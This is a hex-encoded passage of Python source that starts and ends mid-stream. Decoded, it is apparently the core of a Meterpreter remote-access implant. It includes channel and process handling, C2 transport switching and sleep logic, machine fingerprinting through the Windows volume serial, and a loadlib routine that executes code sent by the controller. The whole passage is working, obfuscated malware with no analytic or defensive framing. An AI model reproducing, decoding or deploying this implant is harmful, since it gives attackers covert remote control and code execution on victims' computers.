f6e0d0a202020206465662072656769737465725f66756e6374696f6e5f77696e646c6c2873656c662c66756e63293a0d0a20202020202020206966206861735f77696e646c6c3a0d0a20202020202020202020202073656c662e72656769737465725f66756e6374696f6e2866756e63290d0a202020202020202072657475726e2066756e630d0a20202020646566206164645f6368616e6e656c2873656c662c6368616e6e656c293a0d0a20202020202020206966206e6f74206973696e7374616e6365286368616e6e656c2c4d657465727072657465724368616e6e656c293a0d0a20202020202020202020202064656275675f7072696e7428275b2d5d206368616e6e656c206f626a656374206973206e6f7420616e20696e7374616e6365206f66204d657465727072657465724368616e6e656c27290d0a202020202020202020202020726169736520547970654572726f722827696e76616c6964206368616e6e656c206f626a65637427290d0a20202020202020206964783d73656c662e6e6578745f6368616e6e656c5f69640d0a202020202020202073656c662e6368616e6e656c735b6964785d3d6368616e6e656c0d0a202020202020202064656275675f7072696e7428275b2a5d206164646564206368616e6e656c2069643a20272b73747228696478292b2720747970653a20272b6368616e6e656c2e5f5f636c6173735f5f2e5f5f6e616d655f5f290d0a202020202020202073656c662e6e6578745f6368616e6e656c5f69642b3d310d0a202020202020202072657475726e206964780d0a20202020646566206164645f70726f636573732873656c662c70726f63657373293a0d0a20202020202020206964783d73656c662e6e6578745f70726f636573735f69640d0a202020202020202073656c662e70726f6365737365735b6964785d3d70726f636573730d0a202020202020202064656275675f7072696e7428275b2a5d2061646465642070726f636573732069643a20272b7374722869647829290d0a202020202020202073656c662e6e6578745f70726f636573735f69642b3d310d0a202020202020202072657475726e206964780d0a20202020646566206765745f7061636b65742873656c66293a0d0a2020202020202020706b743d73656c662e7472616e73706f72742e6765745f7061636b657428290d0a2020202020202020696620706b74206973204e6f6e6520616e642073656c662e7472616e73706f72742e73686f756c645f7265746972653a0d0a20202020202020202020202073656c662e7472616e73706f72745f6368616e676528290d0a202020202020202072657475726e20706b740d0a202020206465662073656e645f7061636b65742873656c662c7061636b6574293a0d0a202020202020202073656e645f7375636365656465643d73656c662e7472616e73706f72742e73656e645f7061636b6574287061636b6574290d0a20202020202020206966206e6f742073656e645f73756363656564656420616e642073656c662e7472616e73706f72742e73686f756c645f7265746972653a0d0a20202020202020202020202073656c662e7472616e73706f72745f6368616e676528290d0a202020202020202072657475726e2073656e645f7375636365656465640d0a202020204070726f70657274790d0a202020206465662073657373696f6e5f6861735f657870697265642873656c66293a0d0a202020202020202069662073656c662e73657373696f6e5f6578706972795f74696d653d3d303a0d0a20202020202020202020202072657475726e2046616c73650d0a202020202020202072657475726e2074696d652e74696d6528293e73656c662e73657373696f6e5f6578706972795f656e640d0a20202020646566207472616e73706f72745f6164642873656c662c6e65775f7472616e73706f7274293a0d0a20202020202020206e65775f706f736974696f6e3d73656c662e7472616e73706f7274732e696e6465782873656c662e7472616e73706f7274290d0a202020202020202073656c662e7472616e73706f7274732e696e73657274286e65775f706f736974696f6e2c6e65775f7472616e73706f7274290d0a20202020646566207472616e73706f72745f6368616e67652873656c662c6e65775f7472616e73706f72743d4e6f6e65293a0d0a20202020202020206966206e65775f7472616e73706f7274206973204e6f6e653a0d0a2020202020202020202020206e65775f7472616e73706f72743d73656c662e7472616e73706f72745f6e65787428290d0a202020202020202073656c662e7472616e73706f72742e6465616374697661746528290d0a202020202020202064656275675f7072696e7428275b2a5d206368616e67696e67207472616e73706f727420746f3a20272b6e65775f7472616e73706f72742e75726c290d0a20202020202020207768696c65206e6f74206e65775f7472616e73706f72742e616374697661746528293a0d0a2020202020202020202020206e65775f7472616e73706f72743d73656c662e7472616e73706f72745f6e657874286e65775f7472616e73706f7274290d0a20202020202020202020202064656275675f7072696e7428275b2a5d206368616e67696e67207472616e73706f727420746f3a20272b6e65775f7472616e73706f72742e75726c290d0a202020202020202073656c662e7472616e73706f72743d6e65775f7472616e73706f72740d0a20202020646566207472616e73706f72745f6e6578742873656c662c63757272656e745f7472616e73706f72743d4e6f6e65293a0d0a202020202020202069662063757272656e745f7472616e73706f7274206973204e6f6e653a0d0a20202020202020202020202063757272656e745f7472616e73706f72743d73656c662e7472616e73706f72740d0a20202020202020206e65775f6964783d73656c662e7472616e73706f7274732e696e6465782863757272656e745f7472616e73706f7274292b310d0a20202020202020206966206e65775f6964783d3d6c656e2873656c662e7472616e73706f727473293a0d0a2020202020202020202020206e65775f6964783d300d0a202020202020202072657475726e2073656c662e7472616e73706f7274735b6e65775f6964785d0d0a20202020646566207472616e73706f72745f707265762873656c662c63757272656e745f7472616e73706f72743d4e6f6e65293a0d0a202020202020202069662063757272656e745f7472616e73706f7274206973204e6f6e653a0d0a20202020202020202020202063757272656e745f7472616e73706f72743d73656c662e7472616e73706f72740d0a20202020202020206e65775f6964783d73656c662e7472616e73706f7274732e696e6465782863757272656e745f7472616e73706f7274292d310d0a20202020202020206966206e65775f6964783d3d2d313a0d0a2020202020202020202020206e65775f6964783d6c656e2873656c662e7472616e73706f727473292d310d0a202020202020202072657475726e2073656c662e7472616e73706f7274735b6e65775f6964785d0d0a202020206465662072756e2873656c66293a0d0a20202020202020207768696c652073656c662e72756e6e696e6720616e64206e6f742073656c662e73657373696f6e5f6861735f657870697265643a0d0a202020202020202020202020726571756573743d73656c662e6765745f7061636b657428290d0a202020202020202020202020696620726571756573743a0d0a20202020202020202020202020202020726573706f6e73653d73656c662e6372656174655f726573706f6e73652872657175657374290d0a20202020202020202020202020202020696620726573706f6e73653a0d0a202020202020202020202020202020202020202073656c662e73656e645f7061636b657428726573706f6e7365290d0a2020202020202020202020202020202069662073656c662e5f7472616e73706f72745f736c6565703a0d0a202020202020202020202020202020202020202073656c662e7472616e73706f72742e6465616374697661746528290d0a202020202020202020202020202020202020202074696d652e736c6565702873656c662e5f7472616e73706f72745f736c656570290d0a202020202020202020202020202020202020202073656c662e5f7472616e73706f72745f736c6565703d4e6f6e650d0a20202020202020202020202020202020202020206966206e6f742073656c662e7472616e73706f72742e616374697661746528293a0d0a20202020202020202020202020202020202020202020202073656c662e7472616e73706f72745f6368616e676528290d0a2020202020202020202020202020202020202020636f6e74696e75650d0a2020202020202020202020206368616e6e656c5f6964733d6c6973742873656c662e6368616e6e656c732e6b6579732829290d0a202020202020202020202020666f72206368616e6e656c5f696420696e206368616e6e656c5f6964733a0d0a202020202020202020202020202020206368616e6e656c3d73656c662e6368616e6e656c735b6368616e6e656c5f69645d0d0a20202020202020202020202020202020646174613d627974657328290d0a2020202020202020202020202020202077726974655f726571756573745f70617274733d5b5d0d0a202020202020202020202020202020206966206973696e7374616e6365286368616e6e656c2c4d6574657270726574657250726f63657373293a0d0a20202020202020202020202020202020202020206966206e6f74206368616e6e656c5f696420696e2073656c662e696e7465726163745f6368616e6e656c733a0d0a202020202020202020202020202020202020202020202020636f6e74696e75650d0a202020202020202020202020202020202020202070726f635f683d6368616e6e656c2e70726f635f680d0a202020202020202020202020202020202020202069662070726f635f682e7374646572725f7265616465722e69735f726561645f726561647928293a0d0a202020202020202020202020202020202020202020202020646174613d70726f635f682e7374646572725f7265616465722e7265616428290d0a2020202020202020202020202020202020202020656c69662070726f635f682e7374646f75745f7265616465722e69735f726561645f726561647928293a0d0a202020202020202020202020202020202020202020202020646174613d70726f635f682e7374646f75745f7265616465722e7265616428290d0a2020202020202020202020202020202020202020656c6966206e6f74206368616e6e656c2e69735f616c69766528293a0d0a20202020202020202020202020202020202020202020202073656c662e68616e646c655f646561645f7265736f757263655f6368616e6e656c286368616e6e656c5f6964290d0a20202020202020202020202020202020656c6966206973696e7374616e6365286368616e6e656c2c4d65746572707265746572536f636b6574544350436c69656e74293a0d0a20202020202020202020202020202020202020207768696c652073656c6563742e73656c656374285b6368616e6e656c2e66696c656e6f28295d2c5b5d2c5b5d2c30295b305d3a0d0a2020202020202020202020202020202020202020202020207472793a0d0a20202020202020202020202020202020202020202020202020202020643d6368616e6e656c2e726561642831290d0a20202020202020202020202020202020202020202020202065786365707420736f636b65742e6572726f723a0d0a20202020202020202020202020202020202020202020202020202020643d627974657328290d0a2020202020202020202020202020202020202020202020206966206c656e2864293d3d303a0d0a2020202020202020202020202020202020202020202020202020202073656c662e68616e646c655f646561645f7265736f757263655f6368616e6e656c286368616e6e656c5f6964290d0a20202020202020202020202020202020202020202020202020202020627265616b0d0a202020202020202020202020202020202020202020202020646174612b3d640d0a20202020202020202020202020202020656c6966206973696e7374616e6365286368616e6e656c2c4d65746572707265746572536f636b6574544350536572766572293a0d0a202020202020202020202020202020202020202069662073656c6563742e73656c656374285b6368616e6e656c2e66696c656e6f28295d2c5b5d2c5b5d2c30295b305d3a0d0a20202020202020202020202020202020202020202020202028636c69656e745f736f636b2c636c69656e745f61646472293d6368616e6e656c2e736f636b2e61636365707428290d0a2020202020202020202020202020202020202020202020207365727665725f616464723d6368616e6e656c2e736f636b2e676574736f636b6e616d6528290d0a202020202020202020202020202020202020202020202020636c69656e745f6368616e6e656c5f69643d73656c662e6164645f6368616e6e656c284d65746572707265746572536f636b6574544350436c69656e7428636c69656e745f736f636b29290d0a20202020202020202020202020202020202020202020202073656c662e73656e645f7061636b657428746c765f7061636b5f7265717565737428277463705f6368616e6e656c5f6f70656e272c5b0d0a202020202020202020202020202020202020202020202020202020207b2774797065273a20544c565f545950455f4348414e4e454c5f49442c2776616c7565273a20636c69656e745f6368616e6e656c5f69647d2c0d0a202020202020202020202020202020202020202020202020202020207b2774797065273a20544c565f545950455f4348414e4e454c5f504152454e5449442c2776616c7565273a206368616e6e656c5f69647d2c0d0a202020202020202020202020202020202020202020202020202020207b2774797065273a20544c565f545950455f4c4f43414c5f484f53542c2776616c7565273a20696e65745f70746f6e286368616e6e656c2e736f636b2e66616d696c792c7365727665725f616464725b305d297d2c0d0a202020202020202020202020202020202020202020202020202020207b2774797065273a20544c565f545950455f4c4f43414c5f504f52542c2776616c7565273a207365727665725f616464725b315d7d2c0d0a202020202020202020202020202020202020202020202020202020207b2774797065273a20544c565f545950455f504545525f484f53542c2776616c7565273a20696e65745f70746f6e28636c69656e745f736f636b2e66616d696c792c636c69656e745f616464725b305d297d2c0d0a202020202020202020202020202020202020202020202020202020207b2774797065273a20544c565f545950455f504545525f504f52542c2776616c7565273a20636c69656e745f616464725b315d7d2c0d0a2020202020202020202020202020202020202020202020205d29290d0a20202020202020202020202020202020656c6966206973696e7374616e6365286368616e6e656c2c4d65746572707265746572536f636b6574554450436c69656e74293a0d0a202020202020202020202020202020202020202069662073656c6563742e73656c656374285b6368616e6e656c2e66696c656e6f28295d2c5b5d2c5b5d2c30295b305d3a0d0a2020202020202020202020202020202020202020202020207472793a0d0a20202020202020202020202020202020202020202020202020202020646174612c706565725f616464726573733d6368616e6e656c2e736f636b2e7265637666726f6d283635353335290d0a20202020202020202020202020202020202020202020202065786365707420736f636b65742e6572726f723a0d0a2020202020202020202020202020202020202020202020202020202073656c662e68616e646c655f646561645f7265736f757263655f6368616e6e656c286368616e6e656c5f6964290d0a202020202020202020202020202020202020202020202020656c73653a0d0a2020202020202020202020202020202020202020202020202020202077726974655f726571756573745f70617274732e657874656e64285b0d0a20202020202020202020202020202020202020202020202020202020202020207b2774797065273a20544c565f545950455f504545525f484f53542c2776616c7565273a20706565725f616464726573735b305d7d2c0d0a20202020202020202020202020202020202020202020202020202020202020207b2774797065273a20544c565f545950455f504545525f504f52542c2776616c7565273a20706565725f616464726573735b315d7d2c5d290d0a20202020202020202020202020202020696620646174613a0d0a202020202020202020202020202020202020202077726974655f726571756573745f70617274732e657874656e64285b0d0a2020202020202020202020202020202020202020202020207b2774797065273a20544c565f545950455f4348414e4e454c5f49442c2776616c7565273a206368616e6e656c5f69647d2c0d0a2020202020202020202020202020202020202020202020207b2774797065273a20544c565f545950455f4348414e4e454c5f444154412c2776616c7565273a20646174617d2c0d0a2020202020202020202020202020202020202020202020207b2774797065273a20544c565f545950455f4c454e4754482c2776616c7565273a206c656e2864617461297d2c5d290d0a202020202020202020202020202020202020202073656c662e73656e645f7061636b657428746c765f7061636b5f726571756573742827636f72655f6368616e6e656c5f7772697465272c77726974655f726571756573745f706172747329290d0a202020206465662068616e646c655f646561645f7265736f757263655f6368616e6e656c2873656c662c6368616e6e656c5f6964293a0d0a202020202020202064656c2073656c662e6368616e6e656c735b6368616e6e656c5f69645d0d0a20202020202020206966206368616e6e656c5f696420696e2073656c662e696e7465726163745f6368616e6e656c733a0d0a20202020202020202020202073656c662e696e7465726163745f6368616e6e656c732e72656d6f7665286368616e6e656c5f6964290d0a202020202020202073656c662e73656e645f7061636b657428746c765f7061636b5f726571756573742827636f72655f6368616e6e656c5f636c6f7365272c5b0d0a2020202020202020202020207b2774797065273a20544c565f545950455f4348414e4e454c5f49442c2776616c7565273a206368616e6e656c5f69647d2c5d29290d0a20202020646566205f636f72655f7365745f757569642873656c662c726571756573742c726573706f6e7365293a0d0a20202020202020206e65775f757569643d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f55554944290d0a20202020202020206966206e65775f757569643a0d0a2020202020202020202020205041594c4f41445f555549443d62696e61736369692e6232615f686578286e65775f757569645b2776616c7565275d290d0a202020202020202072657475726e204552524f525f535543434553532c726573706f6e73650d0a20202020646566205f636f72655f656e756d657874636d642873656c662c726571756573742c726573706f6e7365293a0d0a2020202020202020657874656e73696f6e5f6e616d653d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f535452494e47295b2776616c7565275d0d0a2020202020202020666f722066756e635f6e616d6520696e2073656c662e657874656e73696f6e5f66756e6374696f6e732e6b65797328293a0d0a20202020202020202020202069662066756e635f6e616d652e73706c697428275f272c31295b305d3d3d657874656e73696f6e5f6e616d653a0d0a20202020202020202020202020202020726573706f6e73652b3d746c765f7061636b28544c565f545950455f535452494e472c66756e635f6e616d65290d0a202020202020202072657475726e204552524f525f535543434553532c726573706f6e73650d0a20202020646566205f636f72655f6765745f73657373696f6e5f677569642873656c662c726571756573742c726573706f6e7365293a0d0a2020202020202020726573706f6e73652b3d746c765f7061636b28544c565f545950455f53455353494f4e5f475549442c62696e61736369692e6132625f6865782862797465732853455353494f4e5f475549442c275554462d38272929290d0a202020202020202072657475726e204552524f525f535543434553532c726573706f6e73650d0a20202020646566205f636f72655f7365745f73657373696f6e5f677569642873656c662c726571756573742c726573706f6e7365293a0d0a20202020202020206e65775f677569643d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f53455353494f4e5f47554944290d0a20202020202020206966206e65775f677569643a0d0a20202020202020202020202053455353494f4e5f475549443d62696e61736369692e6232615f686578286e65775f677569645b2776616c7565275d290d0a202020202020202072657475726e204552524f525f535543434553532c726573706f6e73650d0a20202020646566205f636f72655f6d616368696e655f69642873656c662c726571756573742c726573706f6e7365293a0d0a202020202020202073657269616c3d27270d0a20202020202020206d616368696e655f6e616d653d706c6174666f726d2e756e616d6528295b315d0d0a20202020202020206966206861735f77696e646c6c3a0d0a20202020202020202020202066726f6d2063747970657320696d706f72742077696e74797065730d0a2020202020202020202020206b33323d6374797065732e77696e646c6c2e6b65726e656c33320d0a2020202020202020202020207379735f6469723d6374797065732e6372656174655f756e69636f64655f62756666657228323630290d0a2020202020202020202020206966206e6f74206b33322e47657453797374656d4469726563746f727957286374797065732e6279726566287379735f646972292c323630293a0d0a2020202020202020202020202020202072657475726e204552524f525f4641494c5552455f57494e444f57530d0a202020202020202020202020766f6c5f6275663d6374797065732e6372656174655f756e69636f64655f62756666657228323630290d0a20202020202020202020202066735f6275663d6374797065732e6372656174655f756e69636f64655f62756666657228323630290d0a20202020202020202020202073657269616c5f6e756d3d77696e74797065732e44574f52442830290d0a2020202020202020202020206966206e6f74206b33322e476574566f6c756d65496e666f726d6174696f6e57286374797065732e635f77636861725f70287379735f6469722e76616c75655b3a335d292c0d0a2020202020202020202020202020202020202020766f6c5f6275662c6374797065732e73697a656f6628766f6c5f627566292c6374797065732e62797265662873657269616c5f6e756d292c4e6f6e652c0d0a20202020202020202020202020202020202020204e6f6e652c66735f6275662c6374797065732e73697a656f662866735f62756629293a0d0a2020202020202020202020202020202072657475726e204552524f525f4641494c5552455f57494e444f57530d0a20202020202020202020202073657269616c5f6e756d3d73657269616c5f6e756d2e76616c75650d0a20202020202020202020202073657269616c3d22253034782225282873657269616c5f6e756d3e3e31362926307866666666292b272d2720222530347822252873657269616c5f6e756d26307866666666290d0a2020202020202020656c73653a0d0a20202020202020202020202073657269616c3d6765745f6864645f6c6162656c28290d0a2020202020202020726573706f6e73652b3d746c765f7061636b28544c565f545950455f4d414348494e455f49442c2225733a257322252873657269616c2c6d616368696e655f6e616d6529290d0a202020202020202072657475726e204552524f525f535543434553532c726573706f6e73650d0a20202020646566205f636f72655f6e61746976655f617263682873656c662c726571756573742c726573706f6e7365293a0d0a2020202020202020726573706f6e73652b3d746c765f7061636b28544c565f545950455f535452494e472c6765745f6e61746976655f617263682829290d0a202020202020202072657475726e204552524f525f535543434553532c726573706f6e73650d0a20202020646566205f636f72655f70617463685f75726c2873656c662c726571756573742c726573706f6e7365293a0d0a20202020202020206966206e6f74206973696e7374616e63652873656c662e7472616e73706f72742c487474705472616e73706f7274293a0d0a20202020202020202020202072657475726e204552524f525f4641494c5552452c726573706f6e73650d0a20202020202020206e65775f7572695f706174683d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f5452414e535f55524c295b2776616c7565275d0d0a20202020202020206966206e6f742073656c662e7472616e73706f72742e70617463685f7572695f70617468286e65775f7572695f70617468293a0d0a20202020202020202020202072657475726e204552524f525f4641494c5552452c726573706f6e73650d0a202020202020202072657475726e204552524f525f535543434553532c726573706f6e73650d0a20202020646566205f636f72655f6c6f61646c69622873656c662c726571756573742c726573706f6e7365293a0d0a2020202020202020646174615f746c763d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f44415441290d0a202020202020202069662028646174615f746c765b2774797065275d26544c565f4d4554415f545950455f434f4d50524553534544293d3d544c565f4d4554415f545950455f434f4d505245535345443a0d0a20202020202020202020202072657475726e204552524f525f4641494c5552452c726573706f6e73650d0a202020202020202073656c662e6c6173745f726567697374657265645f657874656e73696f6e3d4e6f6e650d0a202020202020202073796d626f6c735f666f725f657874656e73696f6e733d7b276d65746572707265746572273a73656c667d0d0a202020202020202073796d626f6c735f666f725f657874656e73696f6e732e757064617465284558504f525445445f53594d424f4c53290d0a2020202020202020693d636f64652e496e746572616374697665496e7465727072657465722873796d626f6c735f666f725f657874656e73696f6e73290d0a2020202020202020692e72756e636f646528636f6d70696c6528646174615f746c765b2776616c7565275d2c27272c27657865632729290d0a2020202020202020657874656e73696f6e5f6e616d653d73656c662e6c6173745f726567697374657265645f657874656e73696f6e0d0a2020202020202020696620657874656e73696f6e5f6e616d653a0d0a202020202020202020202020636865636b5f657874656e73696f6e3d6c616d62646120783a20782e7374617274737769746828657874656e73696f6e5f6e616d65290d0a2020202020202020202020206c69625f6d6574686f64733d6c6973742866696c74657228636865636b5f657874656e73696f6e2c6c6973742873656c662e657874656e73696f6e5f66756e6374696f6e732e6b65797328292929290d0a202020202020202020202020666f72206d6574686f6420696e206c69625f6d6574686f64733a0d0a20202020202020202020202020202020726573706f6e73652b3d746c765f7061636b28544c565f545950455f4d4554484f442c6d6574686f64290d0a202020202020202072657475726e204552524f525f535543434553532c726573706f6e73650d0a20202020646566205f636f72655f73687574646f776e2873656c662c726571756573742c726573706f6e7365293a0d0a2020202020202020726573706f6e73652b3d746c765f7061636b28544c565f545950455f424f4f4c2c54727565290d0a202020202020202073656c662e72756e6e696e673d46616c73650d0a202020202020202072657475726e204552524f525f535543434553532c726573706f6e73650d0a20202020646566205f636f72655f7472616e73706f72745f6164642873656c662c726571756573742c726573706f6e7365293a0d0a20202020202020206e65775f7472616e73706f72743d5472616e73706f72742e66726f6d5f726571756573742872657175657374290d0a202020202020202073656c662e7472616e73706f72745f616464286e65775f7472616e73706f7274290d0a202020202020202072657475726e204552524f525f535543434553532c726573706f6e73650d0a20202020646566205f636f72655f7472616e73706f72745f6368616e67652873656c662c726571756573742c726573706f6e7365293a0d0a20202020202020206e65775f7472616e73706f72743d5472616e73706f72742e66726f6d5f726571756573742872657175657374290d0a202020202020202073656c662e7472616e73706f72745f616464286e65775f7472616e73706f7274290d0a202020202020202073656c662e73656e645f7061636b657428726573706f6e73652b746c765f7061636b28544c565f545950455f524553554c542c4552524f525f5355434345535329290d0a202020202020202073656c662e7472616e73706f72745f6368616e6765286e65775f7472616e73706f7274290d0a202020202020202072657475726e204e6f6e650d0a20202020646566205f636f72655f7472616e73706f72745f6c6973742873656c662c726571756573742c726573706f6e7365293a0d0a202020202020202069662073656c662e73657373696f6e5f6578706972795f74696d653e303a0d0a202020202020202020202020726573706f6e73652b3d746c765f7061636b28544c565f545950455f5452414e535f53455353494f4e5f4558502c73656c662e73657373696f6e5f6578706972795f656e642d74696d652e74696d652829290d0a2020202020202020726573706f6e73652b3d746c765f7061636b28544c565f545950455f5452414e535f47524f55502c73656c662e7472616e73706f72742e746c765f7061636b5f7472616e73706f72745f67726f75702829290d0a20202020202020207472616e73706f72743d73656c662e7472616e73706f72745f6e65787428290d0a20202020202020207768696c65207472616e73706f727420213d2073656c662e7472616e73706f72743a0d0a202020202020202020202020726573706f6e73652b3d746c765f7061636b28544c565f545950455f5452414e535f47524f55502c7472616e73706f72742e746c765f7061636b5f7472616e73706f72745f67726f75702829290d0a2020202020202020202020207472616e73706f72743d73656c662e7472616e73706f72745f6e657874287472616e73706f7274290d0a202020202020202072657475726e204552524f525f535543434553532c726573706f6e73650d0a20202020646566205f636f72655f7472616e73706f72745f6e6578742873656c662c726571756573742c726573706f6e7365293a0d0a20202020202020206e65775f7472616e73706f72743d73656c662e7472616e73706f72745f6e65787428290d0a20202020202020206966206e65775f7472616e73706f72743d3d73656c662e7472616e73706f72743a0d0a20202020202020202020202072657475726e204552524f525f4641494c5552452c726573706f6e73650d0a202020202020202073656c662e73656e645f7061636b657428726573706f6e73652b746c765f7061636b28544c565f545950455f524553554c542c4552524f525f5355434345535329290d0a202020202020202073656c662e7472616e73706f72745f6368616e6765286e65775f7472616e73706f7274290d0a202020202020202072657475726e204e6f6e650d0a20202020646566205f636f72655f7472616e73706f72745f707265762873656c662c726571756573742c726573706f6e7365293a0d0a20202020202020206e65775f7472616e73706f72743d73656c662e7472616e73706f72745f7072657628290d0a20202020202020206966206e65775f7472616e73706f72743d3d73656c662e7472616e73706f72743a0d0a20202020202020202020202072657475726e204552524f525f4641494c5552452c726573706f6e73650d0a202020202020202073656c662e73656e645f7061636b657428726573706f6e73652b746c765f7061636b28544c565f545950455f524553554c542c4552524f525f5355434345535329290d0a202020202020202073656c662e7472616e73706f72745f6368616e6765286e65775f7472616e73706f7274290d0a202020202020202072657475726e204e6f6e650d0a20202020646566205f636f72655f7472616e73706f72745f72656d6f76652873656c662c726571756573742c726573706f6e7365293a0d0a202020202020202075726c3d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f5452414e535f55524c295b2776616c7565275d0d0a202020202020202069662073656c662e7472616e73706f72742e75726c3d3d75726c3a0d0a20202020202020202020202072657475726e204552524f525f4641494c5552452c726573706f6e73650d0a20202020202020207472616e73706f72745f666f756e643d46616c73650d0a2020202020202020666f72207472616e73706f727420696e2073656c662e7472616e73706f7274733a0d0a2020202020202020202020206966207472616e73706f72742e75726c3d3d75726c3a0d0a202020202020202020202020202020207472616e73706f72745f666f756e643d547275650d0a20202020202020202020202020202020627265616b0d0a20202020202020206966207472616e73706f72745f666f756e643a0d0a20202020202020202020202073656c662e7472616e73706f7274732e72656d6f7665287472616e73706f7274290d0a20202020202020202020202072657475726e204552524f525f535543434553532c726573706f6e73650d0a202020202020202072657475726e204552524f525f4641494c5552452c726573706f6e73650d0a20202020646566205f636f72655f7472616e73706f72745f7365745f74696d656f7574732873656c662c726571756573742c726573706f6e7365293a0d0a202020202020202074696d656f75745f76616c75653d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f5452414e535f53455353494f4e5f455850292e676574282776616c756527290d0a20202020202020206966206e6f742074696d656f75745f76616c7565206973204e6f6e653a0d0a20202020202020202020202073656c662e73657373696f6e5f6578706972795f74696d653d74696d656f75745f76616c75650d0a20202020202020202020202073656c662e73657373696f6e5f6578706972795f656e643d74696d652e74696d6528292b73656c662e73657373696f6e5f6578706972795f74696d650d0a202020202020202074696d656f75745f76616c75653d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f5452414e535f434f4d4d5f54494d454f5554292e676574282776616c756527290d0a202020202020202069662074696d656f75745f76616c75653a0d0a20202020202020202020202073656c662e7472616e73706f72742e636f6d6d756e69636174696f6e5f74696d656f75743d74696d656f75745f76616c75650d0a202020202020202072657472795f76616c75653d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f5452414e535f52455452595f544f54414c292e676574282776616c756527290d0a202020202020202069662072657472795f76616c75653a0d0a20202020202020202020202073656c662e7472616e73706f72742e72657472795f746f74616c3d72657472795f76616c75650d0a202020202020202072657472795f76616c75653d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f5452414e535f52455452595f57414954292e676574282776616c756527290d0a202020202020202069662072657472795f76616c75653a0d0a20202020202020202020202073656c662e7472616e73706f72742e72657472795f776169743d72657472795f76616c75650d0a202020202020202069662073656c662e73657373696f6e5f6578706972795f74696d653e303a0d0a202020202020202020202020726573706f6e73652b3d746c765f7061636b28544c565f545950455f5452414e535f53455353494f4e5f4558502c73656c662e73657373696f6e5f6578706972795f656e642d74696d652e74696d652829290d0a2020202020202020726573706f6e73652b3d73656c662e7472616e73706f72742e746c765f7061636b5f74696d656f75747328290d0a202020202020202072657475726e204552524f525f535543434553532c726573706f6e73650d0a20202020646566205f636f72655f7472616e73706f72745f736c6565702873656c662c726571756573742c726573706f6e7365293a0d0a20202020202020207365636f6e64733d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f5452414e535f434f4d4d5f54494d454f5554295b2776616c7565275d0d0a202020202020202073656c662e73656e645f7061636b657428726573706f6e73652b746c765f7061636b28544c565f545950455f524553554c542c4552524f525f5355434345535329290d0a20202020202020206966207365636f6e64733a0d0a20202020202020202020202073656c662e5f7472616e73706f72745f736c6565703d7365636f6e64730d0a202020202020202072657475726e204552524f525f535543434553532c726573706f6e73650d0a20202020646566205f636f72655f6368616e6e656c5f6f70656e2873656c662c726571756573742c726573706f6e7365293a0d0a20202020202020206368616e6e656c5f747970653d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f4348414e4e454c5f54595045290d0a202020202020202068616e646c65723d276368616e6e656c5f6f70656e5f272b6368616e6e656c5f747970655b2776616c7565275d0d0a202020202020202069662068616e646c6572206e6f7420696e2073656c662e657874656e73696f6e5f66756e6374696f6e733a0d0a20202020202020202020202064656275675f7072696e7428275b2d5d20636f72655f6368616e6e656c5f6f70656e206d697373696e672068616e646c65723a20272b68616e646c6572290d0a20202020202020202020202072657475726e206572726f725f726573756c74284e6f74496d706c656d656e7465644572726f72292c726573706f6e73650d0a202020202020202064656275675f7072696e7428275b2a5d20636f72655f6368616e6e656c5f6f70656e206469737061746368696e6720746f2068616e646c65723a20272b68616e646c6572290d0a202020202020202068616e646c65723d73656c662e657874656e73696f6e5f66756e6374696f6e735b68616e646c65725d0d0a202020202020202072657475726e2068616e646c657228726571756573742c726573706f6e7365290d0a20202020646566205f636f72655f6368616e6e656c5f636c6f73652873656c662c726571756573742c726573706f6e7365293a0d0a20202020202020206368616e6e656c5f69643d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f4348414e4e454c5f4944295b2776616c7565275d0d0a20202020202020206966206368616e6e656c5f6964206e6f7420696e2073656c662e6368616e6e656c733a0d0a20202020202020202020202072657475726e204552524f525f4641494c5552452c726573706f6e73650d0a20202020202020206368616e6e656c3d73656c662e6368616e6e656c735b6368616e6e656c5f69645d0d0a20202020202020207374617475732c726573706f6e73653d6368616e6e656c2e636f72655f636c6f736528726571756573742c726573706f6e7365290d0a20202020202020206966207374617475733d3d4552524f525f535543434553533a0d0a20202020202020202020202064656c2073656c662e6368616e6e656c735b6368616e6e656c5f69645d0d0a2020202020202020202020206966206368616e6e656c5f696420696e2073656c662e696e7465726163745f6368616e6e656c733a0d0a2020202020202020202020202020202073656c662e696e7465726163745f6368616e6e656c732e72656d6f7665286368616e6e656c5f6964290d0a20202020202020202020202064656275675f7072696e7428275b2a5d20636c6f73656420616e642072656d6f766564206368616e6e656c2069643a20272b737472286368616e6e656c5f696429290d0a202020202020202072657475726e207374617475732c726573706f6e73650d0a20202020646566205f636f72655f6368616e6e656c5f656f662873656c662c726571756573742c726573706f6e7365293a0d0a20202020202020206368616e6e656c5f69643d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f4348414e4e454c5f4944295b2776616c7565275d0d0a20202020202020206966206368616e6e656c5f6964206e6f7420696e2073656c662e6368616e6e656c733a0d0a20202020202020202020202072657475726e204552524f525f4641494c5552452c726573706f6e73650d0a20202020202020206368616e6e656c3d73656c662e6368616e6e656c735b6368616e6e656c5f69645d0d0a20202020202020207374617475732c726573706f6e73653d6368616e6e656c2e636f72655f656f6628726571756573742c726573706f6e7365290d0a202020202020202072657475726e204552524f525f535543434553532c726573706f6e73650d0a20202020646566205f636f72655f6368616e6e656c5f696e7465726163742873656c662c726571756573742c726573706f6e7365293a0d0a20202020202020206368616e6e656c5f69643d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f4348414e4e454c5f4944295b2776616c7565275d0d0a20202020202020206966206368616e6e656c5f6964206e6f7420696e2073656c662e6368616e6e656c733a0d0a20202020202020202020202072657475726e204552524f525f4641494c5552452c726573706f6e73650d0a20202020202020206368616e6e656c3d73656c662e6368616e6e656c735b6368616e6e656c5f69645d0d0a2020202020202020746f67676c653d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f424f4f4c295b2776616c7565275d0d0a2020202020202020696620746f67676c653a0d0a2020202020202020202020206966206368616e6e656c5f696420696e2073656c662e